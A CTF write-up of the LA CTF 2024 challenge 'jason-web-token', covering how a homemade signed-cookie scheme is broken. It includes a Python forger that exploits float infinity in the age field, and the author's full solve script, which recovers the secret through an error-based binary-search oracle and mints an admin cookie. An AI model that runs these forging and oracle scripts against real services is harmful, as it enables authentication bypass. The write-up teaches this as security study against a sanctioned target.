{%hackmd theme-dark %}

# LA CTF 2024 Writeup - web/jason-web-token (62 Solves)
Played with [@blackb6a](https://twitter.com/blackb6a), challenge solved by ozetta, write up by vow.

## Challenge Summary

With all this hype around jwt, I decided to implement jason web tokens to secure my OWN jason fan club site. Too bad its not in haskell.

Website: [jwt.chall.lac.tf](https://github.com/uclaacm/lactf-archive/tree/main/2024/web/jason-web-token)

## Step 0: Messing around

The website generates a "jason web token" using our inputted name and age:


Jason web tokens are stored in a cookie and look something like this:

Username:Age = vow:69

jwt = 7b22757365726e616d65223a2022766f77222c2022616765223a2036392c2022726f6c65223a202275736572222c202274696d657374616d70223a20313730383238373031347d.47447d6b0aca87af67025d7e5a1039bb4ec2f38d920bc417ebc02d0f4e548516

Let's take a look at the code and understand how jason web tokens are generated, and what we need to do to obtain our flag. We mainly focus on the two backend Python programs, `auth.py` and `app.py`:

# auth.py

import hashlib
import json
import os
import time

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()


class admin:
    username = os.environ.get("ADMIN", "admin-owo")
    age = int(os.environ.get("ADMINAGE", "30"))


def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")


def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    if hash_(f"{data}:{salted_secret}") != signature:
        return None, "invalid token: signature did not match data"
    return userinfo, None

From `create_token()`, we can see that tokens are made by encoding our data into hexadecimal, then adding a hash made using our data and a salted secret, which acts as a signature to verify that our jason web token has not been modified and is authentic.

# app.py

from pathlib import Path
from fastapi import Cookie, FastAPI, Response
from fastapi.responses import HTMLResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel

import auth

app = FastAPI()
app.mount("/static", StaticFiles(directory="static"), name="static")

flag = (Path(__file__).parent / "flag.txt").read_text()
index_html = lambda: (Path(__file__).parent / "index.html").read_text()


class LoginForm(BaseModel):
    username: str
    age: int


@app.post("/login")
def login(login: LoginForm, resp: Response):
    age = login.age
    username = login.username

    if age < 10:
        resp.status_code = 400
        return {"msg": "too young! go enjoy life!"}
    if 18 <= age <= 22:
        resp.status_code = 400
        return {"msg": "too many college hackers, no hacking pls uwu"}

    is_admin = username == auth.admin.username and age == auth.admin.age
    token = auth.create_token(
        username=username,
        age=age,
        role=("admin" if is_admin else "user")
    )

    resp.set_cookie("token", token)
    resp.status_code = 200
    return {"msg": "login successful"}


@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
    userinfo, err = auth.decode_token(token)
    if err:
        resp.status_code = 400
        return {"err": err}
    if userinfo["role"] == "admin":
        return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
    return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}


@app.get("/", response_class=HTMLResponse)
def index():
    return index_html()

Looking at `app.py`, we can see that at `@app.get("/img")`, we can get the flag only if our role is admin for our jason web token.

:::info
So, our goal becomes clear:

Create a jason web token where our role is "**admin**" -> Flag!!!
:::

## Step 1: Become admin, fail admirably

From `auth.py`, we know that jason web tokens are generated like this:

def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

In human terms, jason web tokens have a format of `data.hash`, and we can decode the data part by just converting it back from hexadecimal:

Username:Age = vow:69
jwt = 7b22757365726e616d65223a2022766f77222c2022616765223a2036392c2022726f6c65223a202275736572222c202274696d657374616d70223a20313730383238373031347d.47447d6b0aca87af67025d7e5a1039bb4ec2f38d920bc417ebc02d0f4e548516

data = {"username": "vow", "age": 69, "role": "user", "timestamp": 1708287014}
hash = some messed up bytes

Now, you might think if we just convert our `role` from `user` to `admin`, encode the data back to hexadecimal, append it in front of our hash, change our cookie, and we would be done.

However, if we try going to https://jwt.chall.lac.tf/img :


:::danger
What went wrong? **Remember the hash behind our data?** That is being used as a **verification signature** to check whether we have modified our data.

If the hash does not match with the hash generated from our modified data, the jason web token will output error as shown above.
:::

You might think that we can brute force the `salted_secret` to generate our own valid signature, but looking at how `salted_secret` is generated:

secret = int.from_bytes(os.urandom(128), "big")

salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

It is obvious that brute forcing $256^{128}$ to find the correct `secret` **is not a viable option** (ominious flag), nor are we likely to find a hash collision for SHA256, so what can we do?

## Step 2: Infinite control
Taking a look back at how tokens are generated:

def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

We can see that the only thing we do not have control of is `secret` and `timestamp`, but we do have control of `age`.

:::info
What happens if we put in a very, **very large age?**
:::

Computers use **Floating Point Arithmetic**[^1], however most floats cannot be represented exactly as binary, as a consequence, computers **cannot accureately represent a float**, they can only **approximate** it.

In Python, `0.1` is not exactly `0.1`, it is actually: `0.1000000000000000055511151231257827021181583404541015625`

In fact, if you try comparing the two float values in Python, you will find that they are the same:

print(0.1000000000000000055511151231257827021181583404541015625 == 0.1)
# True

:::info
Now, the main question is this: **Is there a upper/lower limit to floats in Python?**

The answer: **Yes**.
:::

Python’s float type uses IEEE 754-1985 binary double precision floating point numbers, and the limit for that is $2^{1024}$, which is approximately $1.8*10^{308}$.

If you set a Python float at that value, you will get an overflow error:

print(2.0**1024)
# Traceback (most recent call last):
#   File "c:\Users\vow\Desktop\overflow.py", line 1, in <module>
#     print(2.0**1024)
#           ~~~^^~~~~
# OverflowError: (34, 'Result too large')

However, if you use **scientific notation** to represent $1.8*10^{308}$, you will not receive an error, but instead receive this:

print(1.8*10**308)
# inf

Python converts scientific values that, in theory should overflow, into `infinity` (which is actually a float type).

:::info
When you have a **`inf`** value, any value that you add to or deduct from infinity will always equal to **`inf`**.

In other words, you can technically treat **`inf`** as a constant number. (Although it is usually called an "undefined number")
:::

And yes, it is possible to store and convert `inf` into a string:

cool_var = 1.8*10**308
print(str(cool_var))
# inf

Now, looking back at our `salted_secret`, if we generate a hash with age = `inf`, then no matter what the secret or timestamp is, `salted_secret` will always be `inf`.

:::success
In other words, we can now create our own hash signature, **as long as age is `inf` or a very large scientific value ($1.8*10^{308}$ or larger)** , and the server will accept the signature as authentic, since the server now can only generate a **`salted_secret`** with the value **`inf`**, negating the values of **`secret`** and **`timestamp`** if **`age = inf`**.

**Now, can you code your own jason web token generator?**
:::

:::spoiler **Our own jason web token generator**

import hashlib

hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

data = '{"username": "vow", "age": 69e699, "role": "admin", "timestamp": 1708287014}'
salted_secret = 69e699
jwt = data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
print(jwt)

:::

---
After forging your own jason web token, we just have to put it in our cookie and visit https://jwt.chall.lac.tf/img :


Flag: `lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}`

## Step 3 (?): The actual intended solution

So it turns out that messing with floating points was not the original intended method for this challenge:


The code for the intended solution has been uploaded to the LA CTF solution repository, but I feel like the intended solution deserves a mention too, so that's why this section exists.

When solving this challenge using the "float-conversion" method, you might have tried to input a very large age value to generate the token, but you will not receive the token from the server.

If we take a closer look at the network responses, you will see an error:


`Unable to parse input string as an integer, exceeded maximum size`

So it turns out that there is an actual limit on how many digits of an integer you can convert to a string (for this case, it is JSON), and that limit is **4300 digits**.[^2]

# Proof that the limit is 4300 digits:

print(10**4299)
print(10**4300)

# 100000000...
# Traceback (most recent call last):
#   File "c:\Users\vow\Desktop\bigbigintstr.py", line 18, in <module>
#     print(10**4300)
# ValueError: Exceeds the limit (4300 digits) for integer string conversion; 
# use sys.set_int_max_str_digits() to increase the limit

So, how can we use this fact to our advantage?

Recalling the formula for generating our salted secret:

`salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]`

We can actually determine two facts here:
:::info

First, if we input $10^{4300}$ as our age, the server will respond with the **`int_parsing_size`** error, no matter what **`(secret ^ userinfo["timestamp"])`** is.

This is quite easy to see, even if today **`(secret ^ userinfo["timestamp"]) = 0`**, since our age is $10^{4300}$, the server will respond with the **`int_parsing_size`** error as: $$0 + 10^{4300} = 10^{4300} = \text{Error}$$

Second, the maximum value of **`(secret ^ userinfo["timestamp"])`** is **approximately**: $$256^{128}-1$$

Note that this is an **approximation**, as there is a chance for the number to be bigger than the one stared above because of XOR with the timestamp, but for simplicity **let's assume this is true for now**.

If this was the case, then I can say that if I set my age as: $$10^{4300} - (256^{128}-1)$$

The server can definetely generate a jason web token.
:::

Now, with these two facts, we essentially have a range of numbers where on one end, it will definetely return an error, on the other end, it will definetely return a token.

Now, the interesting question is this - **Can we approximate the cutoff using these two points?**

It turns out that it is **not only possible, but also quite efficient using binary search.**

:::success
Here is a simple explaination of how we can use binary search to find the cutoff:

First, you need a list of **sorted numbers/elements**, in our case, we do have a list of sorted numbers.

Second, pick the median number/element from the list and check whether it fulfils a certain condition. For us, it is to see whether by sending the chosen number as our age, it will give us a token or not.

If we receive a token, we set our smallest value to the median, and our new range would be from the median to the largest value.

If we do not receive a token, we set our largest value to the median, and our new range would be from the median to the smallest value.

Now, we can repeat the steps above until the difference between the largest and the smallest value is 1.

Once the difference reaches 1, you have found your cutoff.
:::

And here is the author's implementation of the binary search:[^3]

# Partial solve script of the author, r2uwu2:

import sys
import time
import json
import hashlib
import os
import math
from tqdm import tqdm

import requests

def too_big(age):
    r = s.post(url("/login"), json={"username": "owo", "age": age})
    # 502 is returned by traefik when under too much load so we retry
    # 500 returned by internal server error from age too big
    # 200 returned when login successful
    if r.status_code == 502:
        return too_big(age)
    return r.status_code >= 500

with requests.Session() as s:
    r = s.post(url("/login"), json={"username": "owo", "age": 10})
    token = s.cookies["token"]

    # uppper bound is 10^4300 - 1 because ints > 10^4300 trigger the error
    # get lower bound by upper_bound - max_value_of_secret 
    right = 10 ** 4300 - 1
    left = 10 ** 4300 - 2 ** (131 * 8)

    # binary search for difference needed to trigger str error
    # should take around 1k sequential requests
    it = 0
    while right - left > 10_000:
        # server may get overloaded if you request too much, lets chill for a bit
        if (it + 1) % 100 == 0:
            time.sleep(1)

        print(it, math.log10(left), math.log10(right), math.log10(right - left))
        mid = (left + right) // 2
        try:
            if too_big(mid):
                right = mid
            else:
                left = mid + 1
            it += 1

But why do we have to find the cutoff? What use does it have?

If we find the cutoff (the largest possible age value before the server returning an error), we simply move the variables in our equation:

$$ 10^{4300} - \text{the-max-age-cutoff} = \text{(secret ^ timestamp)}$$

And now we have a method to determine `(secret ^ timestamp)`, and since the timestamp is given in the jason web token, we can easily determine the `secret` too as XOR is self-inverse.

:::warning
But note that there are still two problems with the current solution:

- The exact cutoff will change because of **XORing with timestamp.**
- There **might be an error margin for the range of the binary search** due to server infrastructure (from author).
:::

Luckily, both problems can be addressed easily (as you might have seen from the author's solve script).

Although the exact cutoff will change because of XORing with timestamp, it should not change too drastically, therefore we can stop the binary search at a larger difference value, say 9999 or more, which should include the cutoff.

Of course, that would mean we would have to do a little bit of brute forcing in order to guess the secret, but running a Python-loop for 9999 times should not take too long.

And as for the error margin problem, just set the minimum value a little lower. For the author's script, it is set at: $$10^{4300} - 2^{(131 \cdot 8)}$$

Once we brute forced the secret, we can again create any signature we want and make every jason web token valid, and this is the author's final solve script:[^3]

# Complete solve script of the author, r2uwu2:

import sys
import time
import json
import hashlib
import os
import math
from tqdm import tqdm

import requests

hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
# url = lambda end: f"http://127.0.0.1:8080{end}"
url = lambda end: f"https://jwt.chall.lac.tf{end}"

# needed as sometimes we may slightly overflow 4300
sys.set_int_max_str_digits(4500)

def create_token(userinfo, secret):
    userinfo["timestamp"] = int(time.time() * 1000)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

def validate_secret(userinfo, sig, secret):
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return hash_(f"{data}:{salted_secret}") == sig

def too_big(age):
    r = s.post(url("/login"), json={"username": "owo", "age": age})
    # 502 is returned by traefik when under too much load so we retry
    # 500 returned by internal server error from age too big
    # 200 returned when login successful
    if r.status_code == 502:
        return too_big(age)
    return r.status_code >= 500


with requests.Session() as s:
    r = s.post(url("/login"), json={"username": "owo", "age": 10})
    token = s.cookies["token"]

    # uppper bound is 10^4300 - 1 because ints > 10^4300 trigger the error
    # get lower bound by upper_bound - max_value_of_secret
    right = 10 ** 4300 - 1
    left = 10 ** 4300 - 2 ** (131 * 8)

    # binary search for difference needed to trigger str error
    # should take around 1k sequential requests
    it = 0
    while right - left > 10_000:
        # server may get overloaded if you request too much, lets chill for a bit
        if (it + 1) % 100 == 0:
            time.sleep(1)

        print(it, math.log10(left), math.log10(right), math.log10(right - left))
        mid = (left + right) // 2
        try:
            if too_big(mid):
                right = mid
            else:
                left = mid + 1
            it += 1

        # if the server is overloaded, it may close connection
        except requests.ConnectionError:
            s.close()
            s = requests.Session()

    # get an actual recent authentication token
    too_big(30)

    diff = left
    token = s.cookies["token"]

    userinfo, sig = token.split(".")
    userinfo = json.loads(bytes.fromhex(userinfo).decode())

    # brute force the secret
    secret = ((10 ** 4300 - diff) ^ userinfo["timestamp"]) - 50_000
    for i in tqdm(range(100_000)):
        secret += 1
        if validate_secret(userinfo, sig, secret):
            break


    # craft malicious cookie and get the flag
    userinfo["age"] = 10
    userinfo["role"] = "admin"
    del s.cookies["token"]
    s.cookies["token"] = create_token(userinfo, secret)
    r = s.get(url("/img"))
    print(r.json())

And that's it! I hope you learned more about Python and error-based oracles!

[^1]: What Every Programmer Should Know About Floating-Point Arithmetic
https://floating-point-gui.de/

[^2]: Pydantic Documentation: int_parsing_size error
https://docs.pydantic.dev/2.6/errors/validation_errors/#int_parsing_size

[^3]: LACTF jason-web-token, r2uwu2 solve script
https://github.com/uclaacm/lactf-archive/blob/main/2024/web/jason-web-token/solve.py